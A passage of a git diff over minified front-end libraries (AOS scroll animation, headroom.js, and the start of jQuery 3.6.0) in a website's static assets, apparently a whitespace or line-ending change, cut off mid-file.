l.Date.now()};function v(e,n,o){var i,a,r,c,s,u,d=0,l=!1,f=!1,v=!0;if("function"!=typeof e)throw new TypeError(t);function y(t){var n=i,o=a;return i=a=void 0,d=t,c=e.apply(o,n)}function h(e){var t=e-u;return void 0===u||t>=n||t<0||f&&e-d>=r}function k(){var e=b();if(h(e))return x(e);s=setTimeout(k,function(e){var t=n-(e-u);return f?p(t,r-(e-d)):t}(e))}function x(e){return s=void 0,v&&i?y(e):(i=a=void 0,c)}function O(){var e=b(),t=h(e);if(i=arguments,a=this,u=e,t){if(void 0===s)return function(e){return d=e,s=setTimeout(k,n),l?y(e):c}(u);if(f)return s=setTimeout(k,n),y(u)}return void 0===s&&(s=setTimeout(k,n)),c}return n=w(n)||0,g(o)&&(l=!!o.leading,r=(f="maxWait"in o)?m(w(o.maxWait)||0,n):r,v="trailing"in o?!!o.trailing:v),O.cancel=function(){void 0!==s&&clearTimeout(s),d=0,i=u=a=s=void 0},O.flush=function(){return void 0===s?c:x(b())},O}function g(e){var t=typeof e;return!!e&&("object"==t||"function"==t)}function w(e){if("number"==typeof e)return e;if(function(e){return"symbol"==typeof e||function(e){return!!e&&"object"==typeof e}(e)&&f.call(e)==o}(e))return n;if(g(e)){var t="function"==typeof e.valueOf?e.valueOf():e;e=g(t)?t+"":t}if("string"!=typeof e)return 0===e?e:+e;e=e.replace(i,"");var u=r.test(e);return u||c.test(e)?s(e.slice(2),u?2:8):a.test(e)?n:+e}var y=function(e,n,o){var i=!0,a=!0;if("function"!=typeof e)throw new TypeError(t);return g(o)&&(i="leading"in o?!!o.leading:i,a="trailing"in o?!!o.trailing:a),v(e,n,{leading:i,maxWait:n,trailing:a})},h="Expected a function",k=NaN,x="[object Symbol]",O=/^\s+|\s+$/g,j=/^[-+]0x[0-9a-f]+$/i,E=/^0b[01]+$/i,N=/^0o[0-7]+$/i,z=parseInt,C="object"==typeof e&&e&&e.Object===Object&&e,A="object"==typeof self&&self&&self.Object===Object&&self,q=C||A||Function("return this")(),L=Object.prototype.toString,T=Math.max,M=Math.min,S=function(){return q.Date.now()};function D(e){var t=typeof e;return!!e&&("object"==t||"function"==t)}function H(e){if("number"==typeof e)return e;if(function(e){return"symbol"==typeof e||function(e){return!!e&&"object"==typeof e}(e)&&L.call(e)==x}(e))return k;if(D(e)){var t="function"==typeof e.valueOf?e.valueOf():e;e=D(t)?t+"":t}if("string"!=typeof e)return 0===e?e:+e;e=e.replace(O,"");var n=E.test(e);return n||N.test(e)?z(e.slice(2),n?2:8):j.test(e)?k:+e}var $=function(e,t,n){var o,i,a,r,c,s,u=0,d=!1,l=!1,f=!0;if("function"!=typeof e)throw new TypeError(h);function m(t){var n=o,a=i;return o=i=void 0,u=t,r=e.apply(a,n)}function p(e){var n=e-s;return void 0===s||n>=t||n<0||l&&e-u>=a}function b(){var e=S();if(p(e))return v(e);c=setTimeout(b,function(e){var n=t-(e-s);return l?M(n,a-(e-u)):n}(e))}function v(e){return c=void 0,f&&o?m(e):(o=i=void 0,r)}function g(){var e=S(),n=p(e);if(o=arguments,i=this,s=e,n){if(void 0===c)return function(e){return u=e,c=setTimeout(b,t),d?m(e):r}(s);if(l)return c=setTimeout(b,t),m(s)}return void 0===c&&(c=setTimeout(b,t)),r}return t=H(t)||0,D(n)&&(d=!!n.leading,a=(l="maxWait"in n)?T(H(n.maxWait)||0,t):a,f="trailing"in n?!!n.trailing:f),g.cancel=function(){void 0!==c&&clearTimeout(c),u=0,o=s=i=c=void 0},g.flush=function(){return void 0===c?r:v(S())},g},W=function(){};function P(e){e&&e.forEach(function(e){var t=Array.prototype.slice.call(e.addedNodes),n=Array.prototype.slice.call(e.removedNodes);if(function e(t){var n=void 0,o=void 0;for(n=0;n=o.out&&!n.once?a():t>=o.in?e.animated||(function(e,t){t&&t.forEach(function(t){return e.classList.add(t)})}(i,n.animatedClassNames),V("aos:in",i),e.options.id&&V("aos:in:"+e.options.id,i),e.animated=!0):e.animated&&!n.once&&a()}(e,window.pageYOffset)})},Z=function(e){for(var t=0,n=0;e&&!isNaN(e.offsetLeft)&&!isNaN(e.offsetTop);)t+=e.offsetLeft-("BODY"!=e.tagName?e.scrollLeft:0),n+=e.offsetTop-("BODY"!=e.tagName?e.scrollTop:0),e=e.offsetParent;return{top:n,left:t}},ee=function(e,t,n){var o=e.getAttribute("data-aos-"+t);if(void 0!==o){if("true"===o)return!0;if("false"===o)return!1}return o||n},te=function(e,t){return e.forEach(function(e,n){var o=ee(e.node,"mirror",t.mirror),i=ee(e.node,"once",t.once),a=ee(e.node,"id"),r=t.useClassNames&&e.node.getAttribute("data-aos"),c=[t.animatedClassName].concat(r?r.split(" "):[]).filter(function(e){return"string"==typeof e});t.initClassName&&e.node.classList.add(t.initClassName),e.position={in:function(e,t,n){var o=window.innerHeight,i=ee(e,"anchor"),a=ee(e,"anchor-placement"),r=Number(ee(e,"offset",a?0:t)),c=a||n,s=e;i&&document.querySelectorAll(i)&&(s=document.querySelectorAll(i)[0]);var u=Z(s).top-o;switch(c){case"top-bottom":break;case"center-bottom":u+=s.offsetHeight/2;break;case"bottom-bottom":u+=s.offsetHeight;break;case"top-center":u+=o/2;break;case"center-center":u+=o/2+s.offsetHeight/2;break;case"bottom-center":u+=o/2+s.offsetHeight;break;case"top-top":u+=o;break;case"bottom-top":u+=o+s.offsetHeight;break;case"center-top":u+=o+s.offsetHeight/2}return u+r}(e.node,t.offset,t.anchorPlacement),out:o&&function(e,t){window.innerHeight;var n=ee(e,"anchor"),o=ee(e,"offset",t),i=e;return n&&document.querySelectorAll(n)&&(i=document.querySelectorAll(n)[0]),Z(i).top+i.offsetHeight-o}(e.node,t.offset)},e.options={once:i,mirror:o,animatedClassNames:c,id:a}}),e},ne=function(){var e=document.querySelectorAll("[data-aos]");return Array.prototype.map.call(e,function(e){return{node:e}})},oe=[],ie=!1,ae={offset:120,delay:0,easing:"ease",duration:400,disable:!1,once:!1,mirror:!1,anchorPlacement:"top-bottom",startEvent:"DOMContentLoaded",animatedClassName:"aos-animate",initClassName:"aos-init",useClassNames:!1,disableMutationObserver:!1,throttleDelay:99,debounceDelay:50},re=function(){return document.all&&!window.atob},ce=function(){arguments.length>0&&void 0!==arguments[0]&&arguments[0]&&(ie=!0),ie&&(oe=te(oe,ae),X(oe),window.addEventListener("scroll",y(function(){X(oe,ae.once)},ae.throttleDelay)))},se=function(){if(oe=ne(),de(ae.disable)||re())return ue();ce()},ue=function(){oe.forEach(function(e,t){e.node.removeAttribute("data-aos"),e.node.removeAttribute("data-aos-easing"),e.node.removeAttribute("data-aos-duration"),e.node.removeAttribute("data-aos-delay"),ae.initClassName&&e.node.classList.remove(ae.initClassName),ae.animatedClassName&&e.node.classList.remove(ae.animatedClassName)})},de=function(e){return!0===e||"mobile"===e&&U.mobile()||"phone"===e&&U.phone()||"tablet"===e&&U.tablet()||"function"==typeof e&&!0===e()};return{init:function(e){return ae=I(ae,e),oe=ne(),ae.disableMutationObserver||_.isSupported()||(console.info('\n aos: MutationObserver is not supported on this browser,\n code mutations observing has been disabled.\n You may have to call "refreshHard()" by yourself.\n '),ae.disableMutationObserver=!0),ae.disableMutationObserver||_.ready("[data-aos]",se),de(ae.disable)||re()?ue():(document.querySelector("body").setAttribute("data-aos-easing",ae.easing),document.querySelector("body").setAttribute("data-aos-duration",ae.duration),document.querySelector("body").setAttribute("data-aos-delay",ae.delay),-1===["DOMContentLoaded","load"].indexOf(ae.startEvent)?document.addEventListener(ae.startEvent,function(){ce(!0)}):window.addEventListener("load",function(){ce(!0)}),"DOMContentLoaded"===ae.startEvent&&["complete","interactive"].indexOf(document.readyState)>-1&&ce(!0),window.addEventListener("resize",$(ce,ae.debounceDelay,!0)),window.addEventListener("orientationchange",$(ce,ae.debounceDelay,!0)),oe)},refresh:ce,refreshHard:se}}); +!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):e.AOS=t()}(this,function(){"use strict";var e="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{},t="Expected a function",n=NaN,o="[object Symbol]",i=/^\s+|\s+$/g,a=/^[-+]0x[0-9a-f]+$/i,r=/^0b[01]+$/i,c=/^0o[0-7]+$/i,s=parseInt,u="object"==typeof e&&e&&e.Object===Object&&e,d="object"==typeof self&&self&&self.Object===Object&&self,l=u||d||Function("return this")(),f=Object.prototype.toString,m=Math.max,p=Math.min,b=function(){return l.Date.now()};function v(e,n,o){var i,a,r,c,s,u,d=0,l=!1,f=!1,v=!0;if("function"!=typeof e)throw new TypeError(t);function y(t){var n=i,o=a;return i=a=void 0,d=t,c=e.apply(o,n)}function h(e){var t=e-u;return void 0===u||t>=n||t<0||f&&e-d>=r}function k(){var e=b();if(h(e))return x(e);s=setTimeout(k,function(e){var t=n-(e-u);return f?p(t,r-(e-d)):t}(e))}function x(e){return s=void 0,v&&i?y(e):(i=a=void 0,c)}function O(){var e=b(),t=h(e);if(i=arguments,a=this,u=e,t){if(void 0===s)return function(e){return d=e,s=setTimeout(k,n),l?y(e):c}(u);if(f)return s=setTimeout(k,n),y(u)}return void 0===s&&(s=setTimeout(k,n)),c}return n=w(n)||0,g(o)&&(l=!!o.leading,r=(f="maxWait"in o)?m(w(o.maxWait)||0,n):r,v="trailing"in o?!!o.trailing:v),O.cancel=function(){void 0!==s&&clearTimeout(s),d=0,i=u=a=s=void 0},O.flush=function(){return void 0===s?c:x(b())},O}function g(e){var t=typeof e;return!!e&&("object"==t||"function"==t)}function w(e){if("number"==typeof e)return e;if(function(e){return"symbol"==typeof e||function(e){return!!e&&"object"==typeof e}(e)&&f.call(e)==o}(e))return n;if(g(e)){var t="function"==typeof e.valueOf?e.valueOf():e;e=g(t)?t+"":t}if("string"!=typeof e)return 0===e?e:+e;e=e.replace(i,"");var u=r.test(e);return u||c.test(e)?s(e.slice(2),u?2:8):a.test(e)?n:+e}var y=function(e,n,o){var i=!0,a=!0;if("function"!=typeof e)throw new TypeError(t);return g(o)&&(i="leading"in o?!!o.leading:i,a="trailing"in o?!!o.trailing:a),v(e,n,{leading:i,maxWait:n,trailing:a})},h="Expected a function",k=NaN,x="[object Symbol]",O=/^\s+|\s+$/g,j=/^[-+]0x[0-9a-f]+$/i,E=/^0b[01]+$/i,N=/^0o[0-7]+$/i,z=parseInt,C="object"==typeof e&&e&&e.Object===Object&&e,A="object"==typeof self&&self&&self.Object===Object&&self,q=C||A||Function("return this")(),L=Object.prototype.toString,T=Math.max,M=Math.min,S=function(){return q.Date.now()};function D(e){var t=typeof e;return!!e&&("object"==t||"function"==t)}function H(e){if("number"==typeof e)return e;if(function(e){return"symbol"==typeof e||function(e){return!!e&&"object"==typeof e}(e)&&L.call(e)==x}(e))return k;if(D(e)){var t="function"==typeof e.valueOf?e.valueOf():e;e=D(t)?t+"":t}if("string"!=typeof e)return 0===e?e:+e;e=e.replace(O,"");var n=E.test(e);return n||N.test(e)?z(e.slice(2),n?2:8):j.test(e)?k:+e}var $=function(e,t,n){var o,i,a,r,c,s,u=0,d=!1,l=!1,f=!0;if("function"!=typeof e)throw new TypeError(h);function m(t){var n=o,a=i;return o=i=void 0,u=t,r=e.apply(a,n)}function p(e){var n=e-s;return void 0===s||n>=t||n<0||l&&e-u>=a}function b(){var e=S();if(p(e))return v(e);c=setTimeout(b,function(e){var n=t-(e-s);return l?M(n,a-(e-u)):n}(e))}function v(e){return c=void 0,f&&o?m(e):(o=i=void 0,r)}function g(){var e=S(),n=p(e);if(o=arguments,i=this,s=e,n){if(void 0===c)return function(e){return u=e,c=setTimeout(b,t),d?m(e):r}(s);if(l)return c=setTimeout(b,t),m(s)}return void 0===c&&(c=setTimeout(b,t)),r}return t=H(t)||0,D(n)&&(d=!!n.leading,a=(l="maxWait"in n)?T(H(n.maxWait)||0,t):a,f="trailing"in n?!!n.trailing:f),g.cancel=function(){void 0!==c&&clearTimeout(c),u=0,o=s=i=c=void 0},g.flush=function(){return void 0===c?r:v(S())},g},W=function(){};function P(e){e&&e.forEach(function(e){var t=Array.prototype.slice.call(e.addedNodes),n=Array.prototype.slice.call(e.removedNodes);if(function e(t){var n=void 0,o=void 0;for(n=0;n=o.out&&!n.once?a():t>=o.in?e.animated||(function(e,t){t&&t.forEach(function(t){return e.classList.add(t)})}(i,n.animatedClassNames),V("aos:in",i),e.options.id&&V("aos:in:"+e.options.id,i),e.animated=!0):e.animated&&!n.once&&a()}(e,window.pageYOffset)})},Z=function(e){for(var t=0,n=0;e&&!isNaN(e.offsetLeft)&&!isNaN(e.offsetTop);)t+=e.offsetLeft-("BODY"!=e.tagName?e.scrollLeft:0),n+=e.offsetTop-("BODY"!=e.tagName?e.scrollTop:0),e=e.offsetParent;return{top:n,left:t}},ee=function(e,t,n){var o=e.getAttribute("data-aos-"+t);if(void 0!==o){if("true"===o)return!0;if("false"===o)return!1}return o||n},te=function(e,t){return e.forEach(function(e,n){var o=ee(e.node,"mirror",t.mirror),i=ee(e.node,"once",t.once),a=ee(e.node,"id"),r=t.useClassNames&&e.node.getAttribute("data-aos"),c=[t.animatedClassName].concat(r?r.split(" "):[]).filter(function(e){return"string"==typeof e});t.initClassName&&e.node.classList.add(t.initClassName),e.position={in:function(e,t,n){var o=window.innerHeight,i=ee(e,"anchor"),a=ee(e,"anchor-placement"),r=Number(ee(e,"offset",a?0:t)),c=a||n,s=e;i&&document.querySelectorAll(i)&&(s=document.querySelectorAll(i)[0]);var u=Z(s).top-o;switch(c){case"top-bottom":break;case"center-bottom":u+=s.offsetHeight/2;break;case"bottom-bottom":u+=s.offsetHeight;break;case"top-center":u+=o/2;break;case"center-center":u+=o/2+s.offsetHeight/2;break;case"bottom-center":u+=o/2+s.offsetHeight;break;case"top-top":u+=o;break;case"bottom-top":u+=o+s.offsetHeight;break;case"center-top":u+=o+s.offsetHeight/2}return u+r}(e.node,t.offset,t.anchorPlacement),out:o&&function(e,t){window.innerHeight;var n=ee(e,"anchor"),o=ee(e,"offset",t),i=e;return n&&document.querySelectorAll(n)&&(i=document.querySelectorAll(n)[0]),Z(i).top+i.offsetHeight-o}(e.node,t.offset)},e.options={once:i,mirror:o,animatedClassNames:c,id:a}}),e},ne=function(){var e=document.querySelectorAll("[data-aos]");return Array.prototype.map.call(e,function(e){return{node:e}})},oe=[],ie=!1,ae={offset:120,delay:0,easing:"ease",duration:400,disable:!1,once:!1,mirror:!1,anchorPlacement:"top-bottom",startEvent:"DOMContentLoaded",animatedClassName:"aos-animate",initClassName:"aos-init",useClassNames:!1,disableMutationObserver:!1,throttleDelay:99,debounceDelay:50},re=function(){return document.all&&!window.atob},ce=function(){arguments.length>0&&void 0!==arguments[0]&&arguments[0]&&(ie=!0),ie&&(oe=te(oe,ae),X(oe),window.addEventListener("scroll",y(function(){X(oe,ae.once)},ae.throttleDelay)))},se=function(){if(oe=ne(),de(ae.disable)||re())return ue();ce()},ue=function(){oe.forEach(function(e,t){e.node.removeAttribute("data-aos"),e.node.removeAttribute("data-aos-easing"),e.node.removeAttribute("data-aos-duration"),e.node.removeAttribute("data-aos-delay"),ae.initClassName&&e.node.classList.remove(ae.initClassName),ae.animatedClassName&&e.node.classList.remove(ae.animatedClassName)})},de=function(e){return!0===e||"mobile"===e&&U.mobile()||"phone"===e&&U.phone()||"tablet"===e&&U.tablet()||"function"==typeof e&&!0===e()};return{init:function(e){return ae=I(ae,e),oe=ne(),ae.disableMutationObserver||_.isSupported()||(console.info('\n aos: MutationObserver is not supported on this browser,\n code mutations observing has been disabled.\n You may have to call "refreshHard()" by yourself.\n '),ae.disableMutationObserver=!0),ae.disableMutationObserver||_.ready("[data-aos]",se),de(ae.disable)||re()?ue():(document.querySelector("body").setAttribute("data-aos-easing",ae.easing),document.querySelector("body").setAttribute("data-aos-duration",ae.duration),document.querySelector("body").setAttribute("data-aos-delay",ae.delay),-1===["DOMContentLoaded","load"].indexOf(ae.startEvent)?document.addEventListener(ae.startEvent,function(){ce(!0)}):window.addEventListener("load",function(){ce(!0)}),"DOMContentLoaded"===ae.startEvent&&["complete","interactive"].indexOf(document.readyState)>-1&&ce(!0),window.addEventListener("resize",$(ce,ae.debounceDelay,!0)),window.addEventListener("orientationchange",$(ce,ae.debounceDelay,!0)),oe)},refresh:ce,refreshHard:se}}); diff --git a/static/assets/js/headroom.min.js b/static/assets/js/headroom.min.js index 58836a2d2a..914683998e 100644 --- a/static/assets/js/headroom.min.js +++ b/static/assets/js/headroom.min.js @@ -1,7 +1,7 @@ -/*! - * headroom.js v0.12.0 - Give your page some headroom. Hide your header until you need it - * Copyright (c) 2020 Nick Williams - http://wicky.nillia.ms/headroom.js - * License: MIT - */ - +/*! + * headroom.js v0.12.0 - Give your page some headroom. Hide your header until you need it + * Copyright (c) 2020 Nick Williams - http://wicky.nillia.ms/headroom.js + * License: MIT + */ + !function(t,n){"object"==typeof exports&&"undefined"!=typeof module?module.exports=n():"function"==typeof define&&define.amd?define(n):(t=t||self).Headroom=n()}(this,function(){"use strict";function t(){return"undefined"!=typeof window}function d(t){return function(t){return t&&t.document&&function(t){return 9===t.nodeType}(t.document)}(t)?function(t){var n=t.document,o=n.body,s=n.documentElement;return{scrollHeight:function(){return Math.max(o.scrollHeight,s.scrollHeight,o.offsetHeight,s.offsetHeight,o.clientHeight,s.clientHeight)},height:function(){return t.innerHeight||s.clientHeight||o.clientHeight},scrollY:function(){return void 0!==t.pageYOffset?t.pageYOffset:(s||o.parentNode||o).scrollTop}}}(t):function(t){return{scrollHeight:function(){return Math.max(t.scrollHeight,t.offsetHeight,t.clientHeight)},height:function(){return Math.max(t.offsetHeight,t.clientHeight)},scrollY:function(){return t.scrollTop}}}(t)}function n(t,s,e){var n,o=function(){var n=!1;try{var t={get passive(){n=!0}};window.addEventListener("test",t,t),window.removeEventListener("test",t,t)}catch(t){n=!1}return n}(),i=!1,r=d(t),l=r.scrollY(),a={};function c(){var t=Math.round(r.scrollY()),n=r.height(),o=r.scrollHeight();a.scrollY=t,a.lastScrollY=l,a.direction=ls.tolerance[a.direction],e(a),l=t,i=!1}function h(){i||(i=!0,n=requestAnimationFrame(c))}var u=!!o&&{passive:!0,capture:!1};return t.addEventListener("scroll",h,u),c(),{destroy:function(){cancelAnimationFrame(n),t.removeEventListener("scroll",h,u)}}}function o(t){return t===Object(t)?t:{down:t,up:t}}function s(t,n){n=n||{},Object.assign(this,s.options,n),this.classes=Object.assign({},s.options.classes,n.classes),this.elem=t,this.tolerance=o(this.tolerance),this.offset=o(this.offset),this.initialised=!1,this.frozen=!1}return s.prototype={constructor:s,init:function(){return s.cutsTheMustard&&!this.initialised&&(this.addClass("initial"),this.initialised=!0,setTimeout(function(t){t.scrollTracker=n(t.scroller,{offset:t.offset,tolerance:t.tolerance},t.update.bind(t))},100,this)),this},destroy:function(){this.initialised=!1,Object.keys(this.classes).forEach(this.removeClass,this),this.scrollTracker.destroy()},unpin:function(){!this.hasClass("pinned")&&this.hasClass("unpinned")||(this.addClass("unpinned"),this.removeClass("pinned"),this.onUnpin&&this.onUnpin.call(this))},pin:function(){this.hasClass("unpinned")&&(this.addClass("pinned"),this.removeClass("unpinned"),this.onPin&&this.onPin.call(this))},freeze:function(){this.frozen=!0,this.addClass("frozen")},unfreeze:function(){this.frozen=!1,this.removeClass("frozen")},top:function(){this.hasClass("top")||(this.addClass("top"),this.removeClass("notTop"),this.onTop&&this.onTop.call(this))},notTop:function(){this.hasClass("notTop")||(this.addClass("notTop"),this.removeClass("top"),this.onNotTop&&this.onNotTop.call(this))},bottom:function(){this.hasClass("bottom")||(this.addClass("bottom"),this.removeClass("notBottom"),this.onBottom&&this.onBottom.call(this))},notBottom:function(){this.hasClass("notBottom")||(this.addClass("notBottom"),this.removeClass("bottom"),this.onNotBottom&&this.onNotBottom.call(this))},shouldUnpin:function(t){return"down"===t.direction&&!t.top&&t.toleranceExceeded},shouldPin:function(t){return"up"===t.direction&&t.toleranceExceeded||t.top},addClass:function(t){this.elem.classList.add.apply(this.elem.classList,this.classes[t].split(" "))},removeClass:function(t){this.elem.classList.remove.apply(this.elem.classList,this.classes[t].split(" "))},hasClass:function(t){return this.classes[t].split(" ").every(function(t){return this.classList.contains(t)},this.elem)},update:function(t){t.isOutOfBounds||!0!==this.frozen&&(t.top?this.top():this.notTop(),t.bottom?this.bottom():this.notBottom(),this.shouldUnpin(t)?this.unpin():this.shouldPin(t)&&this.pin())}},s.options={tolerance:{up:0,down:0},offset:0,scroller:t()?window:null,classes:{frozen:"headroom--frozen",pinned:"headroom--pinned",unpinned:"headroom--unpinned",top:"headroom--top",notTop:"headroom--not-top",bottom:"headroom--bottom",notBottom:"headroom--not-bottom",initial:"headroom"}},s.cutsTheMustard=!!(t()&&function(){}.bind&&"classList"in document.documentElement&&Object.assign&&Object.keys&&requestAnimationFrame),s}); \ No newline at end of file diff --git a/static/assets/js/jquery-3.6.0.min.js b/static/assets/js/jquery-3.6.0.min.js index c4c6022f29..49310b5e58 100644 --- a/static/assets/js/jquery-3.6.0.min.js +++ b/static/assets/js/jquery-3.6.0.min.js @@ -1,2 +1,2 @@ -/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */ -!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[o.call(e)]||"object":typeof e}var f="3.6.0",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n||0===t||"number"==typeof t&&0+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp(F),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+F),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&y(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!N[t+" "]&&(!v||!v.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&(U.test(t)||z.test(t))){(f=ee.test(t)&&ye(e.parentNode)||e)===e&&d.scope||((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return g(t.replace($,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ve(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChild(e).appendChild(C.createElement("div")),"undefined"!=typeof e.querySelectorAll&&!e.querySelectorAll(":scope fieldset div").length}),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=S,!C.getElementsByName||!C.getElementsByName(S).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){var t;a.appendChild(e).innerHTML="",e.querySelectorAll("[msallowcapture^='']").length&&v.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||v.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+S+"-]").length||v.push("~="),(t=C.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||v.push("\\["+M+"*name"+M+"*="+M+"*(?:''|\"\")"),e.querySelectorAll(":checked").length||v.push(":checked"),e.querySelectorAll("a#"+S+"+*").length||v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="";var 